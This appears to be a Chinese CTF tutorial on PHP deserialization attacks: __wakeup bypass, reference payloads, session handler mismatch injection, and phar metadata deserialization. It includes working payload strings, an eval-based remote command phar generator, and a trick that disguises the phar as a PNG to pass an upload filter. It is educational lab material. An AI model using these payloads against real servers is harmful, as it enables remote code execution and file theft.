反序列化漏洞详解(三)
目录
一、wakeup绕过
二、引用
三、session反序列化漏洞
3.1 php方式存取session格式
3.2 php_serialize方式存取session格式
3.3 php_binary方式存取session格式
3.4 代码演示
3.5 session例题获取flag
四、phar反序列化漏洞
4.1 phar常识
4.2 代码演示
4.3 phar例题获取flag
一、wakeup绕过
(不怎么重要,但需要知道)
反序列化漏洞:CVE-2016-7124 就是这个原因。
漏洞产生原因:如果存在__wakeup方法,调用unserilize()方法前泽贤调用wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过__wakeup()的执行
直接代码演示 多说无用
<?php error_reporting(0); class secret{ var $file='index.php'; public function __construct($file){ $this->file=$file; } function __destruct(){ include_once($this->file); echo $flag; } function __wakeup(){ $this->file='index.php'; } } $cmd=$_GET['cmd']; if (!isset($cmd)){ highlight_file(__FILE__); } else{ if (preg_match('/[oc]:\d+:/i',$cmd)){ echo "Are you daydreaming?"; } else{ unserialize($cmd); } } //sercet in flag.php ?>
这里其实我有两个问题
第一个问题 :__wakeup不是在反序列化之前执行的嘛 他赋值不应该是没用嘛 他执行结束后对象获取的不是序列化字符串的值嘛? 难道__wakeup会一直检查?解决:总结起来,
__wakeup
方法是在反序列化过程结束、即将将反序列化的值赋给对象之前触发的。
第二个问题:如果这个属性个数大于原有的不是应该不执行反序列化了嘛 为什么还能执行(我发现有的可以成功执行反序列化有的不可以执行反序列化)
提示秘密在flag.php里面 发现一旦触发wakeup file的值就会变为index.php 这个时候我们就需要绕过wakeup
//O:+6:"secret":2:{s:4:"file";s:8:"flag.php"}切记得到的poc最好进行url编码可能因为+触发一些问题 从而无法获取flag
二、引用
(单独见到的时候比较少 和上面一样 会在一道题里出现这一个小问题)
类似于c语言指不怕随机值了针 可以理解为都指向一个地址 一个变另一个也会变
<?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); class just4fun { var $enter; var $secret; } if (isset($_GET['pass'])) { $pass = $_GET['pass']; $pass=str_replace('*','\*',$pass); } $o = unserialize($pass); if ($o) { $o->secret = "*"; if ($o->secret === $o->enter) echo "Congratulation! Here is my secret: ".$flag; else echo "Oh no... You can't fool me"; } else echo "are you trolling?"; ?> are you trolling?
如果poc里面有*号就回被屏蔽 没有任何办法 并且如果secret是个随机值 那更不好办
于是采用引用 一节困难都解决了
O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
解释一下:就是secret是对象的第二次使用 记住这么写的就行(说实话代码能看懂,但是这个字符串有点不理解,记住就行),可以理解为enter为第一次引用对象第一次的输出 secret是第二次引用对象第一次输出的结果 他俩值相等
三、session反序列化漏洞
当session_start()被调用或者php.ini中session.auto_start为1时
php内部调用会话管理器,访问用户session被序列化以后,存储到指定目录下
存取数据的格式有多种,常见的有三种
漏洞的产生:写入格式和读取格式不一致
3.1 php方式存取session格式
<?php highlight_file(__FILE__); error_reporting(0); session_start(); $_SESSION['benben'] = $_GET['ben']; ?>
传入ben=123456
3.2 php_serialize方式存取session格式
<?php highlight_file(__FILE__); error_reporting(0); ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['benben'] = $_GET['ben']; $_SESSION['b'] = $_GET['b']; ?>
传入ben=dazhuang&b=666
3.3 php_binary方式存取session格式
<?php highlight_file(__FILE__); error_reporting(0); ini_set('session.serialize_handler','php_binary'); session_start(); $_SESSION['benben'] = $_GET['ben']; $_SESSION['b'] = $_GET['b']; ?>
传入 发现有些不一样 那是因为该方式中的属性长度以二进制方式存储 文本方式看不出来
使用010二进制读取 发现benben前有个06 b前有个01
3.4 代码演示
有两个页面
提交数据的页面
<?php highlight_file(__FILE__); error_reporting(0); ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['ben'] = $_GET['a']; ?>
漏洞页面
<?php highlight_file(__FILE__); error_reporting(0); ini_set('session.serialize_handler','php'); session_start(); class D{ var $a; function __destruct(){ eval($this->a); } } ?>
提交数据是以php_serialize的方式进行存session文件的 如果我们传入a=tzy
则文件内的内容就是a:1:{s:1:"a";s:3:"tzy";}
但是他取的时候使用的是php方式进行读取session文件 会把竖线前当成键名,后面当成键值,所以要对先加上一个竖线 a:1:{s:1:"a";s:3:"|tzy";}
在漏洞界面代码只要是能触发destruct魔术方法就能执行eval语句 所以a=system(dir); 并且要对该类的对象进行反序列化 才能触发魔术方法
D实例化并赋值a为system(dir)的poc:O:1:"D":1:{s:1:"a";s:11:"system(dir);";}
整体提交的poc:a= |O:1:"D":1:{s:1:"a";s:11:"system(dir);";}
保存到服务器的内容就成为了
a:1:{s:1:"a";s:3:"|O:1:"D":1:{s:1:"a";s:11:"system(dir);"}";}
但是php方式进行读取的时候 键值是竖线后序列化的字符串 会将键值反序列化 从而执行了eval。
session的流程就是你提交session后 再次访问同一个session的页面 这个页面就会获取之前的session并读取 并按照当前页面设置的方法通过session_start()进行读取session文件 读取也就是执行一遍 获取里面session内的名字以及所对应的内容 在该演示中 php因为存储的形式是键值+序列化后的字符串 在读取的时候 会将字符串反序列化才能获取值 所以就造成了漏洞
于是直接访问漏洞界面即可
3.5 session例题获取flag
<?php highlight_file(__FILE__); /*hint.php*/ session_start(); class Flag{ public $name; public $her; function __wakeup(){ $this->her=md5(rand(1, 10000)); if ($this->name===$this->her){ include('flag.php'); echo $flag; } } } ?>
通过提示查看hint.php 应该是提交页面
<?php highlight_file(__FILE__); error_reporting(0); ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['a'] = $_GET['a']; ?>
提交参数a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
成功
四、phar反序列化漏洞
4.1 phar常识
phar是一个文件 可以理解为一个压缩包
JAR是开发Java程序的一个应用,包括所有的可执行,可访问的文件,都打包进了一个JAR文件里,使得部署过程十分简单
PHAR是PHP里类似于JAR的一种打包文件。
对于PHP5.3或更高版本,Phar后缀文件时默认开启支持的,可以直接使用它
文件包含:phar为协议,可读取,.phar文件
经常看见的后缀 不能算是标识信息 真正标识的是文件的头部信息
当
phar.readonly
设置为Off
时,表示允许在运行时对 Phar 文件进行修改,例如创建、修改或删除其中的文件。这可以方便地对 Phar 文件进行更新和维护。默认情况下,phar.readonly
被设置为On
,即不允许对 Phar 文件进行修改,以提供更高的安全性。做安全的了解就行 知道差不多 不深究原理
4.2 代码演示
生成phar文件的代码 这也是生成phar文件的模版
<?php highlight_file(__FILE__); class Testobj { var $output=''; } @unlink('test.phar'); //删除之前的test.par文件(如果有) $phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀 $phar->startBuffering(); //开始写文件 $phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub $o=new Testobj(); $o->output='eval($_GET["a"]);'; $phar->setMetadata($o);//写入meta-data 这里进行序列化 $phar->addFromString("test.txt","test"); //添加要压缩的文件 $phar->stopBuffering(); ?>
执行后test.phar内容就是 只关心序列化的字段就可以
漏洞页面代码
<?php highlight_file(__FILE__); error_reporting(0); class Testobj { var $output="echo 'ok';"; function __destruct() { eval($this->output); } } if(isset($_GET['filename'])) { $filename=$_GET['filename']; var_dump(file_exists($filename)); } ?>
传入filename参数 使用file_exists执行该文件 看是否存在该文件
这个时候就用到了phar协议了 他会解析phar文件 一但解析 会将phar文件内的M字符串进行反序列化 就会触发魔术方法destruct 如果字符串里的类是该漏洞页面的类 并且为该类的output进行赋值为命令 就可以成功执行eval
因为这个时候的output的值为eval($_GET["a"]) 这个a还没获取到 所以没有执行远程命令
output的值为eval($_GET["a"])有好处 直接一个phar文件就能进行无数次的a命令执行 否则一个命令就需要生成一个phar文件
增加a参数
4.3 phar例题获取flag
代码
<?php highlight_file(__FILE__); error_reporting(0); class TestObject { public function __destruct() { include('flag.php'); echo $flag; } } $filename = $_POST['file']; if (isset($filename)){ echo md5_file($filename); } //upload.php ?>
一看必须触发destruct魔术方法才行 但是没有反序列化函数 只能用到phar
生成一个phar文件 模版就用上一题的 修改部分内容即可 就把当前类赋值过去内容为空就行 也不需要为类增加属性 就没了 整体来说 就是在模版中生成phar 将类实例化的对象传入到phar文件的meta位置 就会 自动序列化了
<?php highlight_file(__FILE__); class TestObject { } @unlink('poc.phar'); //删除之前的test.par文件(如果有) $phar=new Phar('poc.phar'); //创建一个phar对象,文件名必须以phar为后缀 $phar->startBuffering(); //开始写文件 $phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub $o=new TestObject(); $phar->setMetadata($o);//写入meta-data 这里进行序列化 $phar->addFromString("poc.txt","poc"); //添加要压缩的文件 $phar->stopBuffering(); ?>
执行生成poc.phar
发现上传的时候只能上传图片文件 直接修改poc.phar为poc.png 之前也说了 文件的标识不是后缀而是文件头 所以使用phar协议的时候也能解析poc.png
成功上传 并给出位置
成功